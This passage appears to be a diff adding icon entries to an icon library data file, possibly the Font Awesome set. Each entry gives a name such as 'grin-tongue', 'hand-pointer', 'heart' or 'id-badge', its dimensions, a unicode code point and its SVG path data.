34.9zm259.7-72.7l-34.9-5-15.5-31.6c-2.9-5.8-11-5.8-13.9 0l-15.5 31.6-34.9 5c-6.2.9-8.9 8.6-4.3 13.2l25.4 24.6-6 34.9c-1 6.2 5.4 11 11 7.9l31.3-16.3 31.3 16.3c5.6 3.1 12-1.7 11-7.9l-6-34.9 25.4-24.6c4.5-4.6 1.8-12.2-4.4-13.2z" ], + "grin-tears": [ 640, 512, [], "f588", "M117.1 256.1c-25.8 3.7-84 13.7-100.9 30.6-21.9 21.9-21.5 57.9.9 80.3s58.3 22.8 80.3.9C114.3 351 124.3 292.8 128 267c.8-6.4-4.6-11.8-10.9-10.9zm506.7 30.6c-16.9-16.9-75.1-26.9-100.9-30.6-6.3-.9-11.7 4.5-10.8 10.8 3.7 25.8 13.7 84 30.6 100.9 21.9 21.9 57.9 21.5 80.3-.9 22.3-22.3 22.7-58.3.8-80.2zm-126.6 61.7C463.8 412.3 396.9 456 320 456c-76.9 0-143.8-43.7-177.2-107.6-12.5 37.4-25.2 43.9-28.3 46.5C159.1 460.7 234.5 504 320 504s160.9-43.3 205.5-109.1c-3.2-2.7-15.9-9.2-28.3-46.5zM122.7 224.5C137.9 129.2 220.5 56 320 56c99.5 0 182.1 73.2 197.3 168.5 2.1-.2 5.2-2.4 49.5 7C554.4 106 448.7 8 320 8S85.6 106 73.2 231.4c44.5-9.4 47.1-7.2 49.5-6.9zM320 400c51.9 0 115.3-32.9 123.3-80 1.7-9.9-7.7-18.5-17.7-15.3-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.8-3.1-19.4 5.3-17.7 15.3 8 47.1 71.4 80 123.3 80zm130.3-168.3c3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3 3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.6 6.2 4.6 9.3 3.7zM240 189.4c12.3 0 23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3 3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.8 19.2-21.6 31.5-21.6z" ], + "grin-tongue": [ 496, 512, [], "f589", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm64 400c0 35.6-29.1 64.5-64.9 64-35.1-.5-63.1-29.8-63.1-65v-42.8l17.7-8.8c15-7.5 31.5 1.7 34.9 16.5l2.8 12.1c2.1 9.2 15.2 9.2 17.3 0l2.8-12.1c3.4-14.8 19.8-24.1 34.9-16.5l17.7 8.8V408zm28.2 25.3c2.2-8.1 3.8-16.5 3.8-25.3v-43.5c14.2-12.4 24.4-27.5 27.3-44.5 1.7-9.9-7.7-18.5-17.7-15.3-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.9-3.1-19.4 5.3-17.7 15.3 2.9 17 13.1 32.1 27.3 44.5V408c0 8.8 1.6 17.2 3.8 25.3C91.8 399.9 48 333 48 256c0-110.3 89.7-200 200-200s200 89.7 200 200c0 77-43.8 143.9-107.8 177.3zM168 176c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm160 0c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32z" ], + "grin-tongue-squint": [ 496, 512, [], "f58a", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm64 400c0 35.6-29.1 64.5-64.9 64-35.1-.5-63.1-29.8-63.1-65v-42.8l17.7-8.8c15-7.5 31.5 1.7 34.9 16.5l2.8 12.1c2.1 9.2 15.2 9.2 17.3 0l2.8-12.1c3.4-14.8 19.8-24.1 34.9-16.5l17.7 8.8V408zm28.2 25.3c2.2-8.1 3.8-16.5 3.8-25.3v-43.5c14.2-12.4 24.4-27.5 27.3-44.5 1.7-9.9-7.7-18.5-17.7-15.3-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.9-3.1-19.4 5.3-17.7 15.3 2.9 17 13.1 32.1 27.3 44.5V408c0 8.8 1.6 17.2 3.8 25.3C91.8 399.9 48 333 48 256c0-110.3 89.7-200 200-200s200 89.7 200 200c0 77-43.8 143.9-107.8 177.3zm36.9-281.1c-3.8-4.4-10.3-5.5-15.3-2.5l-80 48c-3.6 2.2-5.8 6.1-5.8 10.3s2.2 8.1 5.8 10.3l80 48c5.4 3.2 11.7 1.7 15.3-2.5 3.8-4.5 3.8-11 .1-15.5L343.6 208l33.6-40.3c3.8-4.5 3.7-11.1-.1-15.5zm-162.9 45.5l-80-48c-5-3-11.4-2-15.3 2.5-3.8 4.5-3.8 11-.1 15.5l33.6 40.3-33.6 40.3c-3.8 4.5-3.7 11 .1 15.5 3.6 4.2 9.9 5.7 15.3 2.5l80-48c3.6-2.2 5.8-6.1 5.8-10.3s-2.2-8.1-5.8-10.3z" ], + "grin-tongue-wink": [ 496, 512, [], "f58b", "M152 180c-25.7 0-55.9 16.9-59.8 42.1-.8 5 1.7 10 6.1 12.4 4.4 2.4 9.9 1.8 13.7-1.6l9.5-8.5c14.8-13.2 46.2-13.2 61 0l9.5 8.5c2.5 2.2 8 4.7 13.7 1.6 4.4-2.4 6.9-7.4 6.1-12.4-3.9-25.2-34.1-42.1-59.8-42.1zm176-52c-44.2 0-80 35.8-80 80s35.8 80 80 80 80-35.8 80-80-35.8-80-80-80zm0 128c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm0-72c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm64 400c0 35.6-29.1 64.5-64.9 64-35.1-.5-63.1-29.8-63.1-65v-42.8l17.7-8.8c15-7.5 31.5 1.7 34.9 16.5l2.8 12.1c2.1 9.2 15.2 9.2 17.3 0l2.8-12.1c3.4-14.8 19.8-24.1 34.9-16.5l17.7 8.8V408zm28.2 25.3c2.2-8.1 3.8-16.5 3.8-25.3v-43.5c14.2-12.4 24.4-27.5 27.3-44.5 1.7-9.9-7.7-18.5-17.7-15.3-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.9-3.1-19.4 5.3-17.7 15.3 2.9 17 13.1 32.1 27.3 44.5V408c0 8.8 1.6 17.2 3.8 25.3C91.8 399.9 48 333 48 256c0-110.3 89.7-200 200-200s200 89.7 200 200c0 77-43.8 143.9-107.8 177.3z" ], + "grin-wink": [ 496, 512, [], "f58c", "M328 180c-25.69 0-55.88 16.92-59.86 42.12-1.75 11.22 11.5 18.24 19.83 10.84l9.55-8.48c14.81-13.19 46.16-13.19 60.97 0l9.55 8.48c8.48 7.43 21.56.25 19.83-10.84C383.88 196.92 353.69 180 328 180zm-160 60c17.67 0 32-14.33 32-32s-14.33-32-32-32-32 14.33-32 32 14.33 32 32 32zm185.55 64.64c-25.93 8.3-64.4 13.06-105.55 13.06s-79.62-4.75-105.55-13.06c-9.94-3.13-19.4 5.37-17.71 15.34C132.67 367.13 196.06 400 248 400s115.33-32.87 123.26-80.02c1.68-9.89-7.67-18.48-17.71-15.34zM248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm0 448c-110.28 0-200-89.72-200-200S137.72 56 248 56s200 89.72 200 200-89.72 200-200 200z" ], + "hand-lizard": [ 576, 512, [], "f258", "M556.686 290.542L410.328 64.829C397.001 44.272 374.417 32 349.917 32H56C25.121 32 0 57.122 0 88v8c0 44.112 35.888 80 80 80h196.042l-18.333 48H144c-48.523 0-88 39.477-88 88 0 30.879 25.121 56 56 56h131.552c2.987 0 5.914.549 8.697 1.631L352 408.418V480h224V355.829c0-23.225-6.679-45.801-19.314-65.287zM528 432H400v-23.582c0-19.948-12.014-37.508-30.604-44.736l-99.751-38.788A71.733 71.733 0 0 0 243.552 320H112c-4.411 0-8-3.589-8-8 0-22.056 17.944-40 40-40h113.709c19.767 0 37.786-12.407 44.84-30.873l24.552-64.281c8.996-23.553-8.428-48.846-33.63-48.846H80c-17.645 0-32-14.355-32-32v-8c0-4.411 3.589-8 8-8h293.917c8.166 0 15.693 4.09 20.137 10.942l146.358 225.715A71.84 71.84 0 0 1 528 355.829V432z" ], + "hand-paper": [ 448, 512, [], "f256", "M372.57 112.641v-10.825c0-43.612-40.52-76.691-83.039-65.546-25.629-49.5-94.09-47.45-117.982.747C130.269 26.456 89.144 57.945 89.144 102v126.13c-19.953-7.427-43.308-5.068-62.083 8.871-29.355 21.796-35.794 63.333-14.55 93.153L132.48 498.569a32 32 0 0 0 26.062 13.432h222.897c14.904 0 27.835-10.289 31.182-24.813l30.184-130.958A203.637 203.637 0 0 0 448 310.564V179c0-40.62-35.523-71.992-75.43-66.359zm27.427 197.922c0 11.731-1.334 23.469-3.965 34.886L368.707 464h-201.92L51.591 302.303c-14.439-20.27 15.023-42.776 29.394-22.605l27.128 38.079c8.995 12.626 29.031 6.287 29.031-9.283V102c0-25.645 36.571-24.81 36.571.691V256c0 8.837 7.163 16 16 16h6.856c8.837 0 16-7.163 16-16V67c0-25.663 36.571-24.81 36.571.691V256c0 8.837 7.163 16 16 16h6.856c8.837 0 16-7.163 16-16V101.125c0-25.672 36.57-24.81 36.57.691V256c0 8.837 7.163 16 16 16h6.857c8.837 0 16-7.163 16-16v-76.309c0-26.242 36.57-25.64 36.57-.691v131.563z" ], + "hand-peace": [ 448, 512, [], "f25b", "M362.146 191.976c-13.71-21.649-38.761-34.016-65.006-30.341V74c0-40.804-32.811-74-73.141-74-40.33 0-73.14 33.196-73.14 74L160 168l-18.679-78.85C126.578 50.843 83.85 32.11 46.209 47.208 8.735 62.238-9.571 104.963 5.008 142.85l55.757 144.927c-30.557 24.956-43.994 57.809-24.733 92.218l54.853 97.999C102.625 498.97 124.73 512 148.575 512h205.702c30.744 0 57.558-21.44 64.555-51.797l27.427-118.999a67.801 67.801 0 0 0 1.729-15.203L448 256c0-44.956-43.263-77.343-85.854-64.024zM399.987 326c0 1.488-.169 2.977-.502 4.423l-27.427 119.001c-1.978 8.582-9.29 14.576-17.782 14.576H148.575c-6.486 0-12.542-3.621-15.805-9.449l-54.854-98c-4.557-8.141-2.619-18.668 4.508-24.488l26.647-21.764a16 16 0 0 0 4.812-18.139l-64.09-166.549C37.226 92.956 84.37 74.837 96.51 106.389l59.784 155.357A16 16 0 0 0 171.227 272h11.632c8.837 0 16-7.163 16-16V74c0-34.375 50.281-34.43 50.281 0v182c0 8.837 7.163 16 16 16h6.856c8.837 0 16-7.163 16-16v-28c0-25.122 36.567-25.159 36.567 0v28c0 8.837 7.163 16 16 16h6.856c8.837 0 16-7.163 16-16 0-25.12 36.567-25.16 36.567 0v70z" ], + "hand-point-down": [ 448, 512, [], "f0a7", "M188.8 512c45.616 0 83.2-37.765 83.2-83.2v-35.647a93.148 93.148 0 0 0 22.064-7.929c22.006 2.507 44.978-3.503 62.791-15.985C409.342 368.1 448 331.841 448 269.299V248c0-60.063-40-98.512-40-127.2v-2.679c4.952-5.747 8-13.536 8-22.12V32c0-17.673-12.894-32-28.8-32H156.8C140.894 0 128 14.327 128 32v64c0 8.584 3.048 16.373 8 22.12v2.679c0 6.964-6.193 14.862-23.668 30.183l-.148.129-.146.131c-9.937 8.856-20.841 18.116-33.253 25.851C48.537 195.798 0 207.486 0 252.8c0 56.928 35.286 92 83.2 92 8.026 0 15.489-.814 22.4-2.176V428.8c0 45.099 38.101 83.2 83.2 83.2zm0-48c-18.7 0-35.2-16.775-35.2-35.2V270.4c-17.325 0-35.2 26.4-70.4 26.4-26.4 0-35.2-20.625-35.2-44 0-8.794 32.712-20.445 56.1-34.926 14.575-9.074 27.225-19.524 39.875-30.799 18.374-16.109 36.633-33.836 39.596-59.075h176.752C364.087 170.79 400 202.509 400 248v21.299c0 40.524-22.197 57.124-61.325 50.601-8.001 14.612-33.979 24.151-53.625 12.925-18.225 19.365-46.381 17.787-61.05 4.95V428.8c0 18.975-16.225 35.2-35.2 35.2zM328 64c0-13.255 10.745-24 24-24s24 10.745 24 24-10.745 24-24 24-24-10.745-24-24z" ], + "hand-point-left": [ 512, 512, [], "f0a5", "M0 220.8C0 266.416 37.765 304 83.2 304h35.647a93.148 93.148 0 0 0 7.929 22.064c-2.507 22.006 3.503 44.978 15.985 62.791C143.9 441.342 180.159 480 242.701 480H264c60.063 0 98.512-40 127.2-40h2.679c5.747 4.952 13.536 8 22.12 8h64c17.673 0 32-12.894 32-28.8V188.8c0-15.906-14.327-28.8-32-28.8h-64c-8.584 0-16.373 3.048-22.12 8H391.2c-6.964 0-14.862-6.193-30.183-23.668l-.129-.148-.131-.146c-8.856-9.937-18.116-20.841-25.851-33.253C316.202 80.537 304.514 32 259.2 32c-56.928 0-92 35.286-92 83.2 0 8.026.814 15.489 2.176 22.4H83.2C38.101 137.6 0 175.701 0 220.8zm48 0c0-18.7 16.775-35.2 35.2-35.2h158.4c0-17.325-26.4-35.2-26.4-70.4 0-26.4 20.625-35.2 44-35.2 8.794 0 20.445 32.712 34.926 56.1 9.074 14.575 19.524 27.225 30.799 39.875 16.109 18.374 33.836 36.633 59.075 39.596v176.752C341.21 396.087 309.491 432 264 432h-21.299c-40.524 0-57.124-22.197-50.601-61.325-14.612-8.001-24.151-33.979-12.925-53.625-19.365-18.225-17.787-46.381-4.95-61.05H83.2C64.225 256 48 239.775 48 220.8zM448 360c13.255 0 24 10.745 24 24s-10.745 24-24 24-24-10.745-24-24 10.745-24 24-24z" ], + "hand-point-right": [ 512, 512, [], "f0a4", "M428.8 137.6h-86.177a115.52 115.52 0 0 0 2.176-22.4c0-47.914-35.072-83.2-92-83.2-45.314 0-57.002 48.537-75.707 78.784-7.735 12.413-16.994 23.317-25.851 33.253l-.131.146-.129.148C135.662 161.807 127.764 168 120.8 168h-2.679c-5.747-4.952-13.536-8-22.12-8H32c-17.673 0-32 12.894-32 28.8v230.4C0 435.106 14.327 448 32 448h64c8.584 0 16.373-3.048 22.12-8h2.679c28.688 0 67.137 40 127.2 40h21.299c62.542 0 98.8-38.658 99.94-91.145 12.482-17.813 18.491-40.785 15.985-62.791A93.148 93.148 0 0 0 393.152 304H428.8c45.435 0 83.2-37.584 83.2-83.2 0-45.099-38.101-83.2-83.2-83.2zm0 118.4h-91.026c12.837 14.669 14.415 42.825-4.95 61.05 11.227 19.646 1.687 45.624-12.925 53.625 6.524 39.128-10.076 61.325-50.6 61.325H248c-45.491 0-77.21-35.913-120-39.676V215.571c25.239-2.964 42.966-21.222 59.075-39.596 11.275-12.65 21.725-25.3 30.799-39.875C232.355 112.712 244.006 80 252.8 80c23.375 0 44 8.8 44 35.2 0 35.2-26.4 53.075-26.4 70.4h158.4c18.425 0 35.2 16.5 35.2 35.2 0 18.975-16.225 35.2-35.2 35.2zM88 384c0 13.255-10.745 24-24 24s-24-10.745-24-24 10.745-24 24-24 24 10.745 24 24z" ], + "hand-point-up": [ 448, 512, [], "f0a6", "M105.6 83.2v86.177a115.52 115.52 0 0 0-22.4-2.176c-47.914 0-83.2 35.072-83.2 92 0 45.314 48.537 57.002 78.784 75.707 12.413 7.735 23.317 16.994 33.253 25.851l.146.131.148.129C129.807 376.338 136 384.236 136 391.2v2.679c-4.952 5.747-8 13.536-8 22.12v64c0 17.673 12.894 32 28.8 32h230.4c15.906 0 28.8-14.327 28.8-32v-64c0-8.584-3.048-16.373-8-22.12V391.2c0-28.688 40-67.137 40-127.2v-21.299c0-62.542-38.658-98.8-91.145-99.94-17.813-12.482-40.785-18.491-62.791-15.985A93.148 93.148 0 0 0 272 118.847V83.2C272 37.765 234.416 0 188.8 0c-45.099 0-83.2 38.101-83.2 83.2zm118.4 0v91.026c14.669-12.837 42.825-14.415 61.05 4.95 19.646-11.227 45.624-1.687 53.625 12.925 39.128-6.524 61.325 10.076 61.325 50.6V264c0 45.491-35.913 77.21-39.676 120H183.571c-2.964-25.239-21.222-42.966-39.596-59.075-12.65-11.275-25.3-21.725-39.875-30.799C80.712 279.645 48 267.994 48 259.2c0-23.375 8.8-44 35.2-44 35.2 0 53.075 26.4 70.4 26.4V83.2c0-18.425 16.5-35.2 35.2-35.2 18.975 0 35.2 16.225 35.2 35.2zM352 424c13.255 0 24 10.745 24 24s-10.745 24-24 24-24-10.745-24-24 10.745-24 24-24z" ], + "hand-pointer": [ 448, 512, [], "f25a", "M358.182 179.361c-19.493-24.768-52.679-31.945-79.872-19.098-15.127-15.687-36.182-22.487-56.595-19.629V67c0-36.944-29.736-67-66.286-67S89.143 30.056 89.143 67v161.129c-19.909-7.41-43.272-5.094-62.083 8.872-29.355 21.795-35.793 63.333-14.55 93.152l109.699 154.001C134.632 501.59 154.741 512 176 512h178.286c30.802 0 57.574-21.5 64.557-51.797l27.429-118.999A67.873 67.873 0 0 0 448 326v-84c0-46.844-46.625-79.273-89.818-62.639zM80.985 279.697l27.126 38.079c8.995 12.626 29.031 6.287 29.031-9.283V67c0-25.12 36.571-25.16 36.571 0v175c0 8.836 7.163 16 16 16h6.857c8.837 0 16-7.164 16-16v-35c0-25.12 36.571-25.16 36.571 0v35c0 8.836 7.163 16 16 16H272c8.837 0 16-7.164 16-16v-21c0-25.12 36.571-25.16 36.571 0v21c0 8.836 7.163 16 16 16h6.857c8.837 0 16-7.164 16-16 0-25.121 36.571-25.16 36.571 0v84c0 1.488-.169 2.977-.502 4.423l-27.43 119.001c-1.978 8.582-9.29 14.576-17.782 14.576H176c-5.769 0-11.263-2.878-14.697-7.697l-109.712-154c-14.406-20.223 14.994-42.818 29.394-22.606zM176.143 400v-96c0-8.837 6.268-16 14-16h6c7.732 0 14 7.163 14 16v96c0 8.837-6.268 16-14 16h-6c-7.733 0-14-7.163-14-16zm75.428 0v-96c0-8.837 6.268-16 14-16h6c7.732 0 14 7.163 14 16v96c0 8.837-6.268 16-14 16h-6c-7.732 0-14-7.163-14-16zM327 400v-96c0-8.837 6.268-16 14-16h6c7.732 0 14 7.163 14 16v96c0 8.837-6.268 16-14 16h-6c-7.732 0-14-7.163-14-16z" ], + "hand-rock": [ 512, 512, [], "f255", "M408.864 79.052c-22.401-33.898-66.108-42.273-98.813-23.588-29.474-31.469-79.145-31.093-108.334-.022-47.16-27.02-108.71 5.055-110.671 60.806C44.846 105.407 0 140.001 0 187.429v56.953c0 32.741 14.28 63.954 39.18 85.634l97.71 85.081c4.252 3.702 3.11 5.573 3.11 32.903 0 17.673 14.327 32 32 32h252c17.673 0 32-14.327 32-32 0-23.513-1.015-30.745 3.982-42.37l42.835-99.656c6.094-14.177 9.183-29.172 9.183-44.568V146.963c0-52.839-54.314-88.662-103.136-67.911zM464 261.406a64.505 64.505 0 0 1-5.282 25.613l-42.835 99.655c-5.23 12.171-7.883 25.04-7.883 38.25V432H188v-10.286c0-16.37-7.14-31.977-19.59-42.817l-97.71-85.08C56.274 281.255 48 263.236 48 244.381v-56.953c0-33.208 52-33.537 52 .677v41.228a16 16 0 0 0 5.493 12.067l7 6.095A16 16 0 0 0 139 235.429V118.857c0-33.097 52-33.725 52 .677v26.751c0 8.836 7.164 16 16 16h7c8.836 0 16-7.164 16-16v-41.143c0-33.134 52-33.675 52 .677v40.466c0 8.836 7.163 16 16 16h7c8.837 0 16-7.164 16-16v-27.429c0-33.03 52-33.78 52 .677v26.751c0 8.836 7.163 16 16 16h7c8.837 0 16-7.164 16-16 0-33.146 52-33.613 52 .677v114.445z" ], + "hand-scissors": [ 512, 512, [], "f257", "M256 480l70-.013c5.114 0 10.231-.583 15.203-1.729l118.999-27.427C490.56 443.835 512 417.02 512 386.277V180.575c0-23.845-13.03-45.951-34.005-57.69l-97.999-54.853c-34.409-19.261-67.263-5.824-92.218 24.733L142.85 37.008c-37.887-14.579-80.612 3.727-95.642 41.201-15.098 37.642 3.635 80.37 41.942 95.112L168 192l-94-9.141c-40.804 0-74 32.811-74 73.14 0 40.33 33.196 73.141 74 73.141h87.635c-3.675 26.245 8.692 51.297 30.341 65.006C178.657 436.737 211.044 480 256 480zm0-48.013c-25.16 0-25.12-36.567 0-36.567 8.837 0 16-7.163 16-16v-6.856c0-8.837-7.163-16-16-16h-28c-25.159 0-25.122-36.567 0-36.567h28c8.837 0 16-7.163 16-16v-6.856c0-8.837-7.163-16-16-16H74c-34.43 0-34.375-50.281 0-50.281h182c8.837 0 16-7.163 16-16v-11.632a16 16 0 0 0-10.254-14.933L106.389 128.51c-31.552-12.14-13.432-59.283 19.222-46.717l166.549 64.091a16.001 16.001 0 0 0 18.139-4.812l21.764-26.647c5.82-7.127 16.348-9.064 24.488-4.508l98 54.854c5.828 3.263 9.449 9.318 9.449 15.805v205.701c0 8.491-5.994 15.804-14.576 17.782l-119.001 27.427a19.743 19.743 0 0 1-4.423.502h-70z" ], + "hand-spock": [ 512, 512, [], "f259", "M501.03053,116.17605c-19.39059-31.50779-51.24406-35.72849-66.31044-35.01756-14.11325-50.81051-62.0038-54.08-70.73816-54.08a74.03091,74.03091,0,0,0-72.23816,58.916l-4.64648,22.66014-13.68357-53.207c-9.09569-35.37107-46.412-64.05074-89.66-53.07223a73.89749,73.89749,0,0,0-55.121,78.94722,73.68273,73.68273,0,0,0-64.8495,94.42181l24.35933,82.19721c-38.24017-7.54492-62.79677,16.18358-68.11512,21.84764a73.6791,73.6791,0,0,0,3.19921,104.19329l91.36509,85.9765A154.164,154.164,0,0,0,220.62279,512h107.4549A127.30079,127.30079,0,0,0,452.3392,413.86139l57.623-241.96272A73.20274,73.20274,0,0,0,501.03053,116.17605Zm-37.7597,44.60544L405.64788,402.74812a79.46616,79.46616,0,0,1-77.57019,61.25972H220.62279a106.34052,106.34052,0,0,1-73.1366-28.998l-91.369-85.98041C31.34381,325.72669,66.61133,288.131,91.39644,311.5392l51.123,48.10739c5.42577,5.10937,13.48239.71679,13.48239-5.82617a246.79914,246.79914,0,0,0-10.17771-70.1523l-36.01362-121.539c-9.7324-32.88279,39.69916-47.27145,49.38664-14.625l31.3437,105.77923c5.59374,18.90428,33.78119,10.71288,28.9648-8.00781L177.06427,80.23662c-8.50389-33.1035,41.43157-45.64646,49.86515-12.83593l47.32609,184.035c4.42773,17.24218,29.16207,16.5039,32.71089-.80468l31.791-154.9706c6.81054-33.1074,57.51748-24.10741,50.11906,11.96288L360.32764,246.78924c-3.72265,18.10936,23.66793,24.63084,28.05659,6.21679L413.185,148.85962C421.1498,115.512,471.14,127.79713,463.27083,160.78149Z" ], + handshake: [ 640, 512, [], "f2b5", "M519.2 127.9l-47.6-47.6A56.252 56.252 0 0 0 432 64H205.2c-14.8 0-29.1 5.9-39.6 16.3L118 127.9H0v255.7h64c17.6 0 31.8-14.2 31.9-31.7h9.1l84.6 76.4c30.9 25.1 73.8 25.7 105.6 3.8 12.5 10.8 26 15.9 41.1 15.9 18.2 0 35.3-7.4 48.8-24 22.1 8.7 48.2 2.6 64-16.8l26.2-32.3c5.6-6.9 9.1-14.8 10.9-23h57.9c.1 17.5 14.4 31.7 31.9 31.7h64V127.9H519.2zM48 351.6c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16c0 8.9-7.2 16-16 16zm390-6.9l-26.1 32.2c-2.8 3.4-7.8 4-11.3 1.2l-23.9-19.4-30 36.5c-6 7.3-15 4.8-18 2.4l-36.8-31.5-15.6 19.2c-13.9 17.1-39.2 19.7-55.3 6.6l-97.3-88H96V175.8h41.9l61.7-61.6c2-.8 3.7-1.5 5.7-2.3H262l-38.7 35.5c-29.4 26.9-31.1 72.3-4.4 101.3 14.8 16.2 61.2 41.2 101.5 4.4l8.2-7.5 108.2 87.8c3.4 2.8 3.9 7.9 1.2 11.3zm106-40.8h-69.2c-2.3-2.8-4.9-5.4-7.7-7.7l-102.7-83.4 12.5-11.4c6.5-6 7-16.1 1-22.6L367 167.1c-6-6.5-16.1-6.9-22.6-1l-55.2 50.6c-9.5 8.7-25.7 9.4-34.6 0-9.3-9.9-8.5-25.1 1.2-33.9l65.6-60.1c7.4-6.8 17-10.5 27-10.5l83.7-.2c2.1 0 4.1.8 5.5 2.3l61.7 61.6H544v128zm48 47.7c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16c0 8.9-7.2 16-16 16z" ], + hdd: [ 576, 512, [], "f0a0", "M567.403 235.642L462.323 84.589A48 48 0 0 0 422.919 64H153.081a48 48 0 0 0-39.404 20.589L8.597 235.642A48.001 48.001 0 0 0 0 263.054V400c0 26.51 21.49 48 48 48h480c26.51 0 48-21.49 48-48V263.054c0-9.801-3-19.366-8.597-27.412zM153.081 112h269.838l77.913 112H75.168l77.913-112zM528 400H48V272h480v128zm-32-64c0 17.673-14.327 32-32 32s-32-14.327-32-32 14.327-32 32-32 32 14.327 32 32zm-96 0c0 17.673-14.327 32-32 32s-32-14.327-32-32 14.327-32 32-32 32 14.327 32 32z" ], + heart: [ 512, 512, [], "f004", "M458.4 64.3C400.6 15.7 311.3 23 256 79.3 200.7 23 111.4 15.6 53.6 64.3-21.6 127.6-10.6 230.8 43 285.5l175.4 178.7c10 10.2 23.4 15.9 37.6 15.9 14.3 0 27.6-5.6 37.6-15.8L469 285.6c53.5-54.7 64.7-157.9-10.6-221.3zm-23.6 187.5L259.4 430.5c-2.4 2.4-4.4 2.4-6.8 0L77.2 251.8c-36.5-37.2-43.9-107.6 7.3-150.7 38.9-32.7 98.9-27.8 136.5 10.5l35 35.7 35-35.7c37.8-38.5 97.8-43.2 136.5-10.6 51.1 43.1 43.5 113.9 7.3 150.8z" ], + hospital: [ 448, 512, [], "f0f8", "M128 244v-40c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40c0 6.627-5.373 12-12 12h-40c-6.627 0-12-5.373-12-12zm140 12h40c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12zm-76 84v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm76 12h40c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12zm180 124v36H0v-36c0-6.627 5.373-12 12-12h19.5V85.035C31.5 73.418 42.245 64 55.5 64H144V24c0-13.255 10.745-24 24-24h112c13.255 0 24 10.745 24 24v40h88.5c13.255 0 24 9.418 24 21.035V464H436c6.627 0 12 5.373 12 12zM79.5 463H192v-67c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v67h112.5V112H304v24c0 13.255-10.745 24-24 24H168c-13.255 0-24-10.745-24-24v-24H79.5v351zM266 64h-26V38a6 6 0 0 0-6-6h-20a6 6 0 0 0-6 6v26h-26a6 6 0 0 0-6 6v20a6 6 0 0 0 6 6h26v26a6 6 0 0 0 6 6h20a6 6 0 0 0 6-6V96h26a6 6 0 0 0 6-6V70a6 6 0 0 0-6-6z" ], + hourglass: [ 384, 512, [], "f254", "M368 48h4c6.627 0 12-5.373 12-12V12c0-6.627-5.373-12-12-12H12C5.373 0 0 5.373 0 12v24c0 6.627 5.373 12 12 12h4c0 80.564 32.188 165.807 97.18 208C47.899 298.381 16 383.9 16 464h-4c-6.627 0-12 5.373-12 12v24c0 6.627 5.373 12 12 12h360c6.627 0 12-5.373 12-12v-24c0-6.627-5.373-12-12-12h-4c0-80.564-32.188-165.807-97.18-208C336.102 213.619 368 128.1 368 48zM64 48h256c0 101.62-57.307 184-128 184S64 149.621 64 48zm256 416H64c0-101.62 57.308-184 128-184s128 82.38 128 184z" ], + "id-badge": [ 384, 512, [], "f2c1", "M336 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zm0 464H48V48h288v416zM144 112h96c8.8 0 16-7.2 16-16s-7.2-16-16-16h-96c-8.8 0-16 7.2-16 16s7.2 16 16 16zm48 176c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64zm-89.6 128h179.2c12.4 0 22.4-8.6 22.4-19.2v-19.2c0-31.8-30.1-57.6-67.2-57.6-10.8 0-18.7 8-44.8 8-26.9 0-33.4-8-44.8-8-37.1 0-67.2 25.8-67.2 57.6v19.2c0 10.6 10 19.2 22.4 19.2z" ], + "id-card": [ 576, 512, [], "f2c2", "M528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm0 400H303.2c.9-4.5.8 3.6.8-22.4 0-31.8-30.1-57.6-67.2-57.6-10.8 0-18.7 8-44.8 8-26.9 0-33.4-8-44.8-8-37.1 0-67.2 25.8-67.2 57.6 0 26-.2 17.9.8 22.4H48V144h480v288zm-168-80h112c4.4 0 8-3.6 8-8v-16c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8zm0-64h112c4.4 0 8-3.6 8-8v-16c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8zm0-64h112c4.4 0 8-3.6 8-8v-16c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8zm-168 96c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 